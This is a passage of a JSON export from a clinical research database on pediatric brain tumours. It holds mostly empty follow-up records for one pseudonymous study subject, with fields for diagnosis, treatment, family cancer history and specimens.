primary_locatio2_f42___15":"0","tumor_primary_locatio2_f42___16":"0","tumor_primary_locatio2_f42___17":"0","tumor_primary_locatio2_f42___18":"0","tumor_primary_locatio2_f42___19":"0","if_other_describe_tl":"","tumor_resection_exten2_207":"","time_surg_prog":"","subject_age_at_recurr2_c64":"","meta_site___1":"0","meta_site___2":"0","meta_site___3":"0","meta_site___4":"0","otherdescrip":"","if_no_why":"","was_a_new_treatment_plan_i":"","why_was_new_treatment_init___1":"0","why_was_new_treatment_init___2":"0","why_was_new_treatment_init___3":"0","why_was_new_treatment_init___4":"0","new_tumor_treat2_b8b___4":"0","new_tumor_treat2_b8b___0":"0","new_tumor_treat2_b8b___1":"0","new_tumor_treat2_b8b___2":"0","new_tumor_treat2_b8b___5":"0","new_tumor_treat2_b8b___3":"0","if_other_describe_ntt":"","rad_final_dose2_cd4":"","rad_sites2_3b0":"","planned_chemo_agents2_3b0":"","therapy_desc2_05a":"","describe_study_protoc2_eb1":"","additional_tumor_molecular___1":"0","additional_tumor_molecular___2":"0","additional_tumor_molecular___3":"0","additional_tumor_molecular___4":"0","additional_tumor_molecular___5":"0","additional_tumor_molecular___6":"0","if_other_describe_att":"","test_results":"","other_status":"","reason_visit_not_completed":"","updates_data_old_complete":"0","date_tissue_1_submitted":"","collectiontime":"","volume1":"","tissue_format1":"","date_tissue_2_submitted":"","collectiontime2_017":"","volume2":"","tissue_format2":"","date_tissue_3_submitted":"","collectiontime2_0172_40f":"","volume3":"","tissue_format3":"","date_tissue_4_submitted":"","collectiontime2_0172_2_83e":"","volume4":"","tissue_format4":"","date_tissue_5_submitted":"","collectiontime2_0172_2_e27":"","volume5":"","tissue_forma5":"","date_tissue_6_submitted":"","collectiontime2_0172_2_e9a":"","volume6":"","tissue_format6":"","date_tissue_7_submitted":"","collectiontime2_0172_2_441":"","volume62_146":"","tissue_format62_a87":"","date_tissue_8_submitted":"","collectiontime2_0172_2_f7f":"","volume62_1462_7bd":"","tissue_format62_a872_ab9":"","other_notes":"","numsamples":"","sampledate":"","date_of_child_blood_submis":"","samplevolume1":"","date_of_child_blood_s2_cb6":"","sampledate2_b77":"","samplevolume2":"","dateparentsample":"","date_paternal_blood_submit":"","parentsamplevol1":"","dateparentsample2_20e":"","date_maternal_blood_submit":"","parentsamplevol2":"","slide_format___1":"","slide_format___2":"","slide_format___3":"","numbers_of_slides":"","describe_stains_used_on_sl":"","date_slide_images_submitte":"","csfcollectiondate":"","csf_1_submission_date":"","csf_counts":"","csfvolume1":"","csfcollectiondate2_36a":"","csf_2_submission_date":"","csf_counts2_540":"","csfvolume2":"","csfcollectiondate2_362_09a":"","cfs_3_submission_date":"","csf_counts2_b0a":"","csfvolume22_930":"","please_use_this_area_to_do":"","specimen_information_form_complete":"","autopsy_type":"","autop_subj_age":"","time_init_diag_to_death":"","autop_gentest_results":"","update_type_autopsy":"","autop_relapse_death":"","autop_death_tumor":"","autop_report_status":"","autopsy_updates_data_old_complete":"","family_members":"","medical_history_form_old_complete":"","rad_sites":"","planned_rad_dose":"","planned_fractions":"","completed_fractions":"","like_protocol":"","describe_study_protocol":"","num_planned_cycles":"","num_completed_cycles":"","other_therapy":"","other_therapy_desc":"","on_study_protocol":"","arm_random":"","rad_sites_defined___1":"","rad_sites_defined___2":"","rad_sites_defined___3":"","rad_sites_defined___4":"","rad_sites_defined___5":"","rad_sites_defined___6":"","rad_sites_defined___7":"","treatment_form_old_complete":"","tumor_or_molecular_tests_d___1":"","tumor_or_molecular_tests_d___2":"","tumor_or_molecular_tests_d___3":"","tumor_or_molecular_tests_d___4":"","tumor_or_molecular_tests_d___5":"","tumor_or_molecular_tests_d___6":"","tumor_or_molecular_tests_d___7":"","diagnosis_form_old_complete":""},{"study_id":"YU80UHY3I10CBT6X:T7S9TDGK1","redcap_event_name":"36_month_update_arm_1","enrollment_type":"","autop_form_complete":"","general_comm_diagnosis":"","clinical_status_at_diagnosis":"","autop_cause_death":"","autopsy":"","diagnosis_type":"","other_med_condition___1":"","other_med_condition___2":"","other_med_condition___3":"","other_med_condition___4":"","other_med_condition___5":"","other_med_condition___6":"","other_med_condition___7":"","other_med_condition___8":"","other_med_condition___9":"","other_med_condition___10":"","other_med_condition___11":"","other_med_condition___12":"","describe":"","vps_etv":"","date_of_initial_diagnosis":"","operations_center_patholog":"","path_diag":"","init_path_diag___1":"","init_path_diag___17":"","init_path_diag___2":"","init_path_diag___3":"","init_path_diag___18":"","init_path_diag___5":"","init_path_diag___6":"","init_path_diag___7":"","init_path_diag___8":"","init_path_diag___19":"","init_path_diag___20":"","init_path_diag___21":"","init_path_diag___22":"","init_path_diag___10":"","init_path_diag___11":"","init_path_diag___12":"","init_path_diag___15":"","init_path_diag___16":"","init_path_diag___23":"","init_path_diag___24":"","init_path_diag___25":"","init_path_diag___26":"","init_path_diag___27":"","init_path_diag___28":"","init_path_diag___29":"","init_path_diag___30":"","init_path_diag___31":"","init_path_diag___14":"","init_path_diag___32":"","init_path_diag___33":"","init_path_diag___34":"","init_path_diag___35":"","init_path_diag___36":"","diag_other":"","tumor_primary_location_in___1":"","tumor_primary_location_in___2":"","tumor_primary_location_in___3":"","tumor_primary_location_in___4":"","tumor_primary_location_in___5":"","tumor_primary_location_in___6":"","tumor_primary_location_in___7":"","tumor_primary_location_in___8":"","tumor_primary_location_in___9":"","tumor_primary_location_in___10":"","tumor_primary_location_in___11":"","tumor_primary_location_in___12":"","tumor_primary_location_in___13":"","tumor_primary_location_in___14":"","tumor_primary_location_in___15":"","tumor_primary_location_in___16":"","tumor_primary_location_in___17":"","tumor_primary_location_in___18":"","tumor_primary_location_in___19":"","tumor_primary_location_in___20":"","tumor_primary_location_in___21":"","tumor_primary_location_in___22":"","tumor_primary_location_in___23":"","diag_other2_cf0":"","metas_at_init_diag":"","metas_at_submit_site___0":"","metas_at_submit_site___1":"","metas_at_submit_site___2":"","metas_at_submit_site___3":"","metas_at_submit_site___4":"","metas_at_submit_site___5":"","if_other_describe_metatases_sites":"","site_prog":"","time_to_prog":"","relapse_number2_7d6":"","time_surg_prog2_a49":"","tumor_or_molecular_tests___1":"","tumor_or_molecular_tests___2":"","tumor_or_molecular_tests___3":"","tumor_or_molecular_tests___4":"","tumor_or_molecular_tests___8":"","tumor_or_molecular_tests___9":"","tumor_or_molecular_tests___10":"","tumor_or_molecular_tests___5":"","tumor_or_molecular_tests___6":"","des_tests":"","path_test_avail":"","form_status_dx":"","age":"","diagnosis_form_complete":"","date_form_completed_up":"2015-04-22","follow_up_visit_status":"1","reason_for_no_visit":"","date_of_visit_follow_up":"","clin_status":"1","tumor_status2":"1","relapse_death":"","diag_death":"","cause_death":"","coordinator_notes":"","form_status_u":"","subj_age":"116","updates_data_form_complete":"0","treatment_status":"4","treatment_update_due_to":"","surgery":"","tumor_resection_extent":"","specimen_to_cbttc":"","sample_origin":"","radiation":"","start_date_rad":"","start_date_rad_unavail":"","stop_date_rad":"","stop_date_rad_unavail":"","rad_site":"","other_type_describe":"","rad_final_dose":"","csi_focal_dose":"","radiation_type___1":"0","radiation_type___2":"0","radiation_type___3":"0","radiation_type___4":"0","radiation_type___5":"0","radiation_type___6":"0","other_type":"","description_of_radiation_t":"","chemo":"","chemo_type":"","like_protocol_name":"","start_date_chemo":"","start_date_chemo_unavail":"","stop_date_chemo":"","stop_date_chemo_unavail":"","planned_chemo_agents":"","description_of_chemotherap":"","asct":"","treatment_complete":"","form_status_t":"","treatment_form_complete":"0","formstatus_demo":"","date_form_completed":"","general_comments":"","gender":"","subject_ethnicity":"","race___1":"","race___2":"","race___3":"","race___4":"","race___5":"","race___7":"","form_status_dm":"","demographics_form_complete":"","formstatus_medhis":"","canc_predisp_condition___1":"","canc_predisp_condition___2":"","canc_predisp_condition___3":"","canc_predisp_condition___4":"","canc_predisp_condition___5":"","canc_predisp_condition___6":"","canc_predisp_condition___7":"","describe_predis":"","germline":"","results_available":"","cancer_predis_relative":"","family_history":"","family_member___1":"","family_member___2":"","family_member___3":"","family_member___4":"","family_member___5":"","family_member___6":"","family_member___7":"","family_member___8":"","family_member___9":"","family_member___10":"","family_member___11":"","other_family_history":"","cancer_type___1":"","cancer_type___2":"","cancer_type___3":"","cancer_type___4":"","cancer_type___5":"","cancer_type___6":"","cancer_type___7":"","cancer_type___8":"","cancer_type___9":"","cancer_type___10":"","cancer_type___11":"","cancer_type___12":"","cancer_type___13":"","cancer_type___14":"","cancer_type___15":"","cancer_type___16":"","cancer_type___17":"","other_description":"","father_what_type_of_cancer___1":"","father_what_type_of_cancer___2":"","father_what_type_of_cancer___3":"","father_what_type_of_cancer___4":"","father_what_type_of_cancer___5":"","father_what_type_of_cancer___6":"","father_what_type_of_cancer___7":"","father_what_type_of_cancer___8":"","father_what_type_of_cancer___9":"","father_what_type_of_cancer___10":"","father_what_type_of_cancer___11":"","father_what_type_of_cancer___12":"","father_what_type_of_cancer___13":"","father_what_type_of_cancer___14":"","father_what_type_of_cancer___15":"","father_what_type_of_cancer___16":"","father_what_type_of_cancer___17":"","father_description_of_othe":"","sister_what_type_of_cancer___1":"","sister_what_type_of_cancer___2":"","sister_what_type_of_cancer___3":"","sister_what_type_of_cancer___4":"","sister_what_type_of_cancer___5":"","sister_what_type_of_cancer___6":"","sister_what_type_of_cancer___7":"","sister_what_type_of_cancer___8":"","sister_what_type_of_cancer___9":"","sister_what_type_of_cancer___10":"","sister_what_type_of_cancer___11":"","sister_what_type_of_cancer___12":"","sister_what_type_of_cancer___13":"","sister_what_type_of_cancer___14":"","sister_what_type_of_cancer___15":"","sister_what_type_of_cancer___16":"","sister_what_type_of_cancer___17":"","sister_description_of_othe":"","brother_what_type_of_cance___1":"","brother_what_type_of_cance___2":"","brother_what_type_of_cance___3":"","brother_what_type_of_cance___4":"","brother_what_type_of_cance___5":"","brother_what_type_of_cance___6":"","brother_what_type_of_cance___7":"","brother_what_type_of_cance___8":"","brother_what_type_of_cance___9":"","brother_what_type_of_cance___10":"","brother_what_type_of_cance___11":"","brother_what_type_of_cance___12":"","brother_what_type_of_cance___13":"","brother_what_type_of_cance___14":"","brother_what_type_of_cance___15":"","brother_what_type_of_cance___16":"","brother_what_type_of_cance___17":"","brother_description_of_oth":"","maternal_grandmother_what___1":"","maternal_grandmother_what___2":"","maternal_grandmother_what___3":"","maternal_grandmother_what___4":"","maternal_grandmother_what___5":"","maternal_grandmother_what___6":"","maternal_grandmother_what___7":"","maternal_grandmother_what___8":"","maternal_grandmother_what___9":"","maternal_grandmother_what___10":"","maternal_grandmother_what___11":"","maternal_grandmother_what___12":"","maternal_grandmother_what___13":"","maternal_grandmother_what___14":"","maternal_grandmother_what___15":"","maternal_grandmother_what___16":"","maternal_grandmother_what___17":"","maternal_grandmother_descr":"","maternal_father_cancer_type___1":"","maternal_father_cancer_type___2":"","maternal_father_cancer_type___3":"","maternal_father_cancer_type___4":"","maternal_father_cancer_type___5":"","maternal_father_cancer_type___6":"","maternal_father_cancer_type___7":"","maternal_father_cancer_type___8":"","maternal_father_cancer_type___9":"","maternal_father_cancer_type___10":"","maternal_father_cancer_type___11":"","maternal_father_cancer_type___12":"","maternal_father_cancer_type___13":"","maternal_father_cancer_type___14":"","maternal_father_cancer_type___15":"","maternal_father_cancer_type___16":"","maternal_father_cancer_type___17":"","maternal_father_descrip_other":"","paternal_mother_cancer_type___1":"","paternal_mother_cancer_type___2":"","paternal_mother_cancer_type___3":"","paternal_mother_cancer_type___4":"","paternal_mother_cancer_type___5":"","paternal_mother_cancer_type___6":"","paternal_mother_cancer_type___7":"","paternal_mother_cancer_type___8":"","paternal_mother_cancer_type___9":"","paternal_mother_cancer_type___10":"","paternal_mother_cancer_type___11":"","paternal_mother_cancer_type___12":"","paternal_mother_cancer_type___13":"","paternal_mother_cancer_type___14":"","paternal_mother_cancer_type___15":"","paternal_mother_cancer_type___16":"","paternal_mother_cancer_type___17":"","paternal_mother_descrip_other":"","paternal_father_type_cancer___1":"","paternal_father_type_cancer___2":"","paternal_father_type_cancer___3":"","paternal_father_type_cancer___4":"","paternal_father_type_cancer___5":"","paternal_father_type_cancer___6":"","paternal_father_type_cancer___7":"","paternal_father_type_cancer___8":"","paternal_father_type_cancer___9":"","paternal_father_type_cancer___10":"","paternal_father_type_cancer___11":"","paternal_father_type_cancer___12":"","paternal_father_type_cancer___13":"","paternal_father_type_cancer___14":"","paternal_father_type_cancer___15":"","paternal_father_type_cancer___16":"","paternal_father_type_cancer___17":"","paternal_father_descrip_other":"","other_what_type_of_cancer___1":"","other_what_type_of_cancer___2":"","other_what_type_of_cancer___3":"","other_what_type_of_cancer___4":"","other_what_type_of_cancer___5":"","other_what_type_of_cancer___6":"","other_what_type_of_cancer___7":"","other_what_type_of_cancer___8":"","other_what_type_of_cancer___9":"","other_what_type_of_cancer___10":"","other_what_type_of_cancer___11":"","other_what_type_of_cancer___12":"","other_what_type_of_cancer___13":"","other_what_type_of_cancer___14":"","other_what_type_of_cancer___15":"","other_what_type_of_cancer___16":"","other_what_type_of_cancer___17":"","other_description_of_other":"","unspecified_what_type_cancer___1":"","unspecified_what_type_cancer___2":"","unspecified_what_type_cancer___3":"","unspecified_what_type_cancer___4":"","unspecified_what_type_cancer___5":"","unspecified_what_type_cancer___6":"","unspecified_what_type_cancer___7":"","unspecified_what_type_cancer___8":"","unspecified_what_type_cancer___9":"","unspecified_what_type_cancer___10":"","unspecified_what_type_cancer___11":"","unspecified_what_type_cancer___12":"","unspecified_what_type_cancer___13":"","unspecified_what_type_cancer___14":"","unspecified_what_type_cancer___15":"","unspecified_what_type_cancer___16":"","unspecified_what_type_cancer___17":"","unspecified_des_other_type":"","form_status_mh":"","medical_history_complete":"","enrollment_type2":"","specimen_form_complete":"","specimen_collection_date":"","specimen_type___1":"","specimen_type___2":"","specimen_type___3":"","specimen_type___4":"","specimen_type___5":"","specimen_type___6":"","specimen_type___7":"","collection_tx_status":"","form_status_so":"","specimen_only_complete":"","recurrent":"","if_recurrent_please_descri":"","relapse_number":"","recurr_date_ofl_diagn2_c7b":"","subject_age_at_recurrence":"","path_diag2_605":"","recur_path_diag2_c0e___1":"","recur_path_diag2_c0e___17":"","recur_path_diag2_c0e___2":"","recur_path_diag2_c0e___3":"","recur_path_diag2_c0e___18":"","recur_path_diag2_c0e___5":"","recur_path_diag2_c0e___6":"","recur_path_diag2_c0e___7":"","recur_path_diag2_c0e___8":"","recur_path_diag2_c0e___19":"","recur_path_diag2_c0e___20":"","recur_path_diag2_c0e___21":"","recur_path_diag2_c0e___22":"","recur_path_diag2_c0e___10":"","recur_path_diag2_c0e___11":"","recur_path_diag2_c0e___12":"","recur_path_diag2_c0e___15":"","recur_path_diag2_c0e___16":"","recur_path_diag2_c0e___23":"","recur_path_diag2_c0e___24":"","recur_path_diag2_c0e___25":"","recur_path_diag2_c0e___26":"","recur_path_diag2_c0e___27":"","recur_path_diag2_c0e___28":"","recur_path_diag2_c0e___29":"","recur_path_diag2_c0e___30":"","recur_path_diag2_c0e___31":"","recur_path_diag2_c0e___14":"","diag_other2_cf02_e7a":"","operations_center_pat2_686":"","tumor_primary_locatio2_533___1":"","tumor_primary_locatio2_533___2":"","tumor_primary_locatio2_533___3":"","tumor_primary_locatio2_533___4":"","tumor_primary_locatio2_533___5":"","tumor_primary_locatio2_533___6":"","tumor_primary_locatio2_533___7":"","tumor_primary_locatio2_533___8":"","tumor_primary_locatio2_533___9":"","tumor_primary_locatio2_533___10":"","tumor_primary_locatio2_533___11":"","tumor_primary_locatio2_533___12":"","tumor_primary_locatio2_533___13":"","tumor_primary_locatio2_533___14":"","tumor_primary_locatio2_533___15":"","tumor_primary_locatio2_533___16":"","tumor_primary_locatio2_533___17":"","tumor_primary_locatio2_533___18":"","tumor_primary_locatio2_533___19":"","diag_other2_cf02_e7a2_a55":"","tumor_resection_exten2_7e9":"","metas_at_init_diag_desc":"","metas_at_submit":"","metas_at_submit_other":"","initial_data_form_old_complete":"","update_type":"","monitor_only":"","monitor_only_after_surgery":"","tumor_status":"","path_diag2_6052_f19":"","recur_path_diag2_c0e2_575___1":"0","recur_path_diag2_c0e2_575___17":"0","recur_path_diag2_c0e2_575___2":"0","recur_path_diag2_c0e2_575___3":"0","recur_path_diag2_c0e2_575___18":"0","recur_path_diag2_c0e2_575___5":"0","recur_path_diag2_c0e2_575___6":"0","recur_path_diag2_c0e2_575___7":"0","recur_path_diag2_c0e2_575___8":"0","recur_path_diag2_c0e2_575___19":"0","recur_path_diag2_c0e2_575___20":"0","recur_path_diag2_c0e2_575___21":"0","recur_path_diag2_c0e2_575___22":"0","recur_path_diag2_c0e2_575___10":"0","recur_path_diag2_c0e2_575___11":"0","recur_path_diag2_c0e2_575___12":"0","recur_path_diag2_c0e2_575___15":"0","recur_path_diag2_c0e2_575___16":"0","recur_path_diag2_c0e2_575___23":"0","recur_path_diag2_c0e2_575___24":"0","recur_path_diag2_c0e2_575___25":"0","recur_path_diag2_c0e2_575___26":"0","recur_path_diag2_c0e2_575___27":"0","recur_path_diag2_c0e2_575___28":"0","recur_path_diag2_c0e2_575___29":"0","recur_path_diag2_c0e2_575___30":"0","recur_path_diag2_c0e2_575___31":"0","recur_path_diag2_c0e2_575___14":"0","if_other_describe":"","operations_center_pat2_97f":"","tumor_primary_locatio2_f42___1":"0","tumor_primary_locatio2_f42___2":"0","tumor_primary_locatio2_f42___3":"0","tumor_primary_locatio2_f42___4":"0","tumor_primary_locatio2_f42___5":"0","tumor_primary_locatio2_f42___6":"0","tumor_primary_locatio2_f42___7":"0","tumor_primary_locatio2_f42___8":"0","tumor_primary_locatio2_f42___9":"0","tumor_primary_locatio2_f42___10":"0","tumor_primary_locatio2_f42___11":"0","tumor_primary_locatio2_f42___12":"0","tumor_primary_locatio2_f42___13":"0","tumor_primary_locatio2_f42___14":"0","tumor_primary_locatio2_f42___15":"0","tumor_primary_locatio2_f42___16":"0","tumor_primary_locatio2_f42___17":"0","tumor_primary_locatio2_f42___18":"0","tumor_primary_locatio2_f42___19":"0","if_other_describe_tl":"","tumor_resection_exten2_207":"","time_surg_prog":"","subject_age_at_recurr2_c64":"","meta_site___1":"0","meta_site___2":"0","meta_site___3":"0","meta_site___4":"0","otherdescrip":"","if_no_why":"","was_a_new_treatment_plan_i":"","why_was_new_treatment_init___1":"0","why_was_new_treatment_init___2":"0","why_was_new_treatment_init___3":"0","why_was_new_treatment_init___4":"0","new_tumor_treat2_b8b___4":"0","new_tumor_treat2_b8b___0":"0","new_tumor_treat2_b8b___1":"0","new_tumor_treat2_b8b___2":"0","new_tumor_treat2_b8b___5":"0","new_tumor_treat2_b8b___3":"0","if_other_describe_ntt":"","rad_final_dose2_cd4":"","rad_sites2_3b0":"","planned_chemo_agents2_3b0":"","therapy_desc2_05a":"","describe_study_protoc2_eb1":"","additional_tumor_molecular___1":"0","additional_tumor_molecular___2":"0","additional_tumor_molecular___3":"0","additional_tumor_molecular___4":"0","additional_tumor_molecular___5":"0","additional_tumor_molecular___6":"0","if_other_describe_att":"","test_results":"","other_status":"","reason_visit_not_completed":"","updates_data_old_complete":"0","date_tissue_1_submitted":"","collectiontime":"","volume1":"","tissue_format1":"","date_tissue_2_submitted":"","collectiontime2_017":"","volume2":"","tissue_format2":"","date_tissue_3_submitted":"","collectiontime2_0172_40f":"","volume3":"","tissue_format3":"","date_tissue_4_submitted":"","collectiontime2_0172_2_83e":"","volume4":"","tissue_format4":"","date_tissue_5_submitted":"","collectiontime2_0172_2_e27":"","volume5":"","tissue_forma5":"","date_tissue_6_submitted":"","collectiontime2_0172_2_e9a":"","volume6":"","tissue_format6":"","date_tissue_7_submitted":"","collectiontime2_0172_2_441":"","volume62_146":"","tissue_format62_a87":"","date_tissue_8_submitted":"","collectiontime2_0172_2_f7f":"","volume62_1462_7bd":"","tissue_format62_a872_ab9":"","other_notes":"","numsamples":"","sampledate":"","date_of_child_blood_submis":"","samplevolume1":"","date_of_child_blood_s2_cb6":"","sampledate2_b77":"","samplevolume2":"","dateparentsample":"","date_paternal_blood_submit":"","parentsamplevol1":"","dateparentsample2_20e":"","date_maternal_blood_submit":"","parentsamplevol2":"","slide_format___1":"","slide_format___2":"","slide_format___3":"","numbers_of_slides":"","describe_stains_used_on_sl":"","date_slide_images_submitte":"","csfcollectiondate":"","csf_1_submission_date":"","csf_counts":"","csfvolume1":"","csfcollectiondate2_36a":"","csf_2_submission_date":"","csf_counts2_540":"","csfvolume2":"","csfcollectiondate2_362_09a":"","cfs_3_submission_date":"","csf_counts2_b0a":"","csfvolume22_930":"","please_use_this_area_to_do":"","specimen_information_form_complete":"","autopsy_type":"","autop_subj_age":"","time_init_diag_to_death":"","autop_gentest_results":"","update_type_autopsy":"","autop_relapse_death":"","autop_death_tumor":"","autop_report_status":"","autopsy_updates_data_old_complete":"","family_members":"","medical_history_form_old_complete":"","rad_sites":"","planned_rad_dose":"","planned_fractions":"","completed_fractions":"","like_protocol":"","describe_study_protocol":"","num_planned_cycles":"","num_completed_cycles":"","other_therapy":"","other_therapy_desc":"","on_study_protocol":"","arm_random":"","rad_sites_defined___1":"","rad_sites_defined___2":"","rad_sites_defined___3":"","rad_sites_defined___4":"","rad_sites_defined___5":"","rad_sites_defined___6":"","rad_sites_defined___7":"","treatment_form_old_complete":"","tumor_or_molecular_tests_d___1":"","tumor_or_molecular_tests_d___2":"","tumor_or_molecular_tests_d___3":"","tumor_or_molecular_tests_d___4":"","tumor_or_molecular_tests_d___5":"","tumor_or_molecular_tests_d___6":"","tumor_or_molecular_tests_d___7":"","diagnosis_form_old_complete":""},{"study_id":"YU80UHY3I10CBT6X:T7S9TDGK1","redcap_event_name":"42_month_update_arm_1","enrollment_type":"","autop_form_complete":"","general_comm_diagnosis":"","clinical_status_at_diagnosis":"","autop_cause_death":"","autopsy":"","diagnosis_type":"","other_med_condition___1":"","other_med_condition___2":"","other_med_condition___3":"","other_med_condition___4":"","other_med_condition___5":"","other_med_condition___6":"","other_med_condition___7":"","other_med_condition___8":"","other_med_condition___9":"","other_med_condition___10":"","other_med_condition___11":"","other_med_condition___12":"","describe":"","vps_etv":"","date_of_initial_diagnosis":"","operations_center_patholog":"","path_diag":"","init_path_diag___1":"","init_path_diag___17":"","init_path_diag___2":"","init_path_diag___3":"","init_path_diag___18":"","init_path_diag___5":"","init_path_diag___6":"","init_path_diag___7":"","init_path_diag___8":"","init_path_diag___19":"","init_path_diag___20":"","init_path_diag___21":"","init_path_diag___22":"","init_path_diag___10":"","init_path_diag___11":"","init_path_diag___12":"","init_path_diag___15":"","init_path_diag___16":"","init_path_diag___23":"","init_path_diag___24":"","init_path_diag___25":"","init_path_diag___26":"","init_path_diag___27":"","init_path_diag___28":"","init_path_diag___29":"","init_path_diag___30":"","init_path_diag___31":"","init_path_diag___14":"","init_path_diag___32":"","init_path_diag___33":"","init_path_diag___34":"","init_path_diag___35":"","init_path_diag___36":"","diag_other":"","tumor_primary_location_in___1":"","tumor_primary_location_in___2":"","tumor_primary_location_in___3":"","tumor_primary_location_in___4":"","tumor_primary_location_in___5":"","tumor_primary_location_in___6":"","tumor_primary_location_in___7":"","tumor_primary_location_in___8":"","tumor_primary_location_in___9":"","tumor_primary_location_in___10":"","tumor_primary_location_in___11":"","tumor_primary_location_in___12":"","tumor_primary_location_in___13":"","tumor_primary_location_in___14":"","tumor_primary_location_in___15":"","tumor_primary_location_in___16":"","tumor_primary_location_in___17":"","tumor_primary_location_in___18":"","tumor_primary_location_in___19":"","tumor_primary_location_in___20":"","tumor_primary_location_in___21":"","tumor_primary_location_in___22":"","tumor_primary_location_in___23":"","diag_other2_cf0":"","metas_at_init_diag":"","metas_at_submit_site___0":"","metas_at_submit_site___1":"","metas_at_submit_site___2":"","metas_at_submit_site___3":"","metas_at_submit_site___4":"","metas_at_submit_site___5":"","if_other_describe_metatases_sites":"","site_prog":"","time_to_prog":"","relapse_number2_7d6":"","time_surg_prog2_a49":"","tumor_or_molecular_tests___1":"","tumor_or_molecular_tests___2":"","tumor_or_molecular_tests___3":"","tumor_or_molecular_tests___4":"","tumor_or_molecular_tests___8":"","tumor_or_molecular_tests___9":"","tumor_or_molecular_tests___10":"","tumor_or_molecular_tests___5":"","tumor_or_molecular_tests___6":"","des_tests":"","path_test_avail":"","form_status_dx":"","age":"","diagnosis_form_complete":"","date_form_completed_up":"2015-11-24","follow_up_visit_status":"2","reason_for_no_visit":"","date_of_visit_follow_up":"","clin_status":"","tumor_status2":"","relapse_death":"","diag_death":"","cause_death":"","coordinator_notes":"","form_status_u":"","subj_age":"","updates_data_form_complete":"0","treatment_status":"5","treatment_update_due_to":"","surgery":"","tumor_resection_extent":"","specimen_to_cbttc":"","sample_origin":"","radiation":"","start_date_rad":"","start_date_rad_unavail":"","stop_date_rad":"","stop_date_rad_unavail":"","rad_site":"","other_type_describe":"","rad_final_dose":"","csi_focal_dose":"","radiation_type___1":"0","radiation_type___2":"0","radiation_type___3":"0","radiation_type___4":"0","radiation_type___5":"0","radiation_type___6":"0","other_type":"","description_of_radiation_t":"","chemo":"","chemo_type":"","like_protocol_name":"","start_date_chemo":"","start_date_chemo_unavail":"","stop_date_chemo":"","stop_date_chemo_unavail":"","planned_chemo_agents":"","description_of_chemotherap":"","asct":"","treatment_complete":"","form_status_t":"","treatment_form_complete":"0","formstatus_demo":"","date_form_completed":"","general_comments":"","gender":"","subject_ethnicity":"","race___1":"","race___2":"","race___3":"","race___4":"","race___5":"","race___7":"","form_status_dm":"","demographics_form_complete":"","formstatus_medhis":"","canc_predisp_condition___1":"","canc_predisp_condition___2":"","canc_predisp_condition___3":"","canc_predisp_condition___4":"","canc_predisp_condition___5":"","canc_predisp_condition___6":"","canc_predisp_condition___7":"","describe_predis":"","germline":"","results_available":"","cancer_predis_relative":"","family_history":"","family_member___1":"","family_member___2":"","family_member___3":"","family_member___4":"","family_member___5":"","family_member___6":"","family_member___7":"","family_member___8":"","family_member___9":"","family_member___10":"","family_member___11":"","other_family_history":"","cancer_type___1":"","cancer_type___2":"","cancer_type___3":"","cancer_type___4":"","cancer_type___5":"","cancer_type___6":"","cancer_type___7":"","cancer_type___8":"","cancer_type___9":"","cancer_type___10":"","cancer_type___11":"","cancer_type___12":"","cancer_type___13":"","cancer_type___14":"","cancer_type___15":"","cancer_type___16":"","cancer_type___17":"","other_description":"","father_what_type_of_cancer___1":"","father_what_type_of_cancer___2":"","father_what_type_of_cancer___3":"","father_what_type_of_cancer___4":"","father_what_type_of_cancer___5":"","father_what_type_of_cancer___6":"","father_what_type_of_cancer___7":"","father_what_type_of_cancer___8":"","father_what_type_of_cancer___9":"","father_what_type_of_cancer___10":"","father_what_type_of_cancer___11":"","father_what_type_of_cancer___12":"","father_what_type_of_cancer___13":"","father_what_type_of_cancer___14":"","father_what_type_of_cancer___15":"","father_what_type_of_cancer___16":"","father_what_type_of_cancer___17":"","father_description_of_othe":"","sister_what_type_of_cancer___1":"","sister_what_type_of_cancer___2":"","sister_what_type_of_cancer___3":"","sister_what_type_of_cancer___4":"","sister_what_type_of_cancer___5":"","sister_what_type_of_cancer___6":"","sister_what_type_of_cancer___7":"","sister_what_type_of_cancer___8":"","sister_what_type_of_cancer___9":"","sister_what_type_of_cancer___10":"","sister_what_type_of_cancer___11":"","sister_what_type_of_cancer___12":"","sister_what_type_of_cancer___13":"","sister_what_type_of_cancer___14":"","sister_what_type_of_cancer___15":"","sister_what_type_of_cancer___16":"","sister_what_type_of_cancer___17":"","sister_description_of_othe":"","brother_what_type_of_cance___1":"","brother_what_type_of_cance___2":"","brother_what_type_of_cance___3":"","brother_what_type_of_cance___4":"","brother_what_type_of_cance___5":"","brother_what_type_of_cance___6":"","brother_what_type_of_cance___7":"","brother_what_type_of_cance___8":"","brother_what_type_of_cance___9":"","brother_what_type_of_cance___10":"","brother_what_type_of_cance___11":"","brother_what_type_of_cance___12":"","brother_what_type_of_cance___13":"","brother_what_type_of_cance___14":"","brother_what_type_of_cance___15":"","brother_what_type_of_cance___16":"","brother_what_type_of_cance___17":"","brother_description_of_oth":"","maternal_grandmother_what___1":"","maternal_grandmother_what___2":"","maternal_grandmother_what___3":"","maternal_grandmother_what___4":"","maternal_grandmother_what___5":"","maternal_grandmother_what___6":"","maternal_grandmother_what___7":"","maternal_grandmother_what___8":"","maternal_grandmother_what___9":"","maternal_grandmother_what___10":"","maternal_grandmother_what___11":"","maternal_grandmother_what___12":"","maternal_grandmother_what___13":"","maternal_grandmother_what___14":"","maternal_grandmother_what___15":"","maternal_grandmother_what___16":"","maternal_grandmother_what___17":"","maternal_grandmother_descr":"","maternal_father_cancer_type___1":"","maternal_father_cancer_type___2":"","maternal_father_cancer_type___3":"","maternal_father_cancer_type___4":"","maternal_father_cancer_type___5":"","maternal_father_cancer_type___6":"","maternal_father_cancer_type___7":"","maternal_father_cancer_type___8":"","maternal_father_cancer_type___9":"","maternal_father_cancer_type___10":"","maternal_father_cancer_type___11":"","maternal_father_cancer_type___12":"","maternal_father_cancer_type___13":"","maternal_father_cancer_type___14":"","maternal_father_cancer_type___15":"","maternal_father_cancer_type___16":"","maternal_father_cancer_type___17":"","maternal_father_descrip_other":"","paternal_mother_cancer_type___1":"","paternal_mother_cancer_type___2":"","paternal_mother_cancer_type___3":"","paternal_mother_cancer_type___4":"","paternal_mother_cancer_type___5":"","paternal_mother_cancer_type___6":"","paternal_mother_cancer_type___7":"","paternal_mother_cancer_type___8":"","paternal_mother_cancer_type___9":"","paternal_mother_cancer_type___10":"","paternal_mother_cancer_type___11":"","paternal_mother_cancer_type___12":"","paternal_mother_cancer_type___13":"","paternal_mother_cancer_type___14":"","paternal_mother_cancer_type___15":"","paternal_mother_cancer_type___16":"","paternal_mother_cancer_type___17":"","paternal_mother_descrip_other":"","paternal_father_t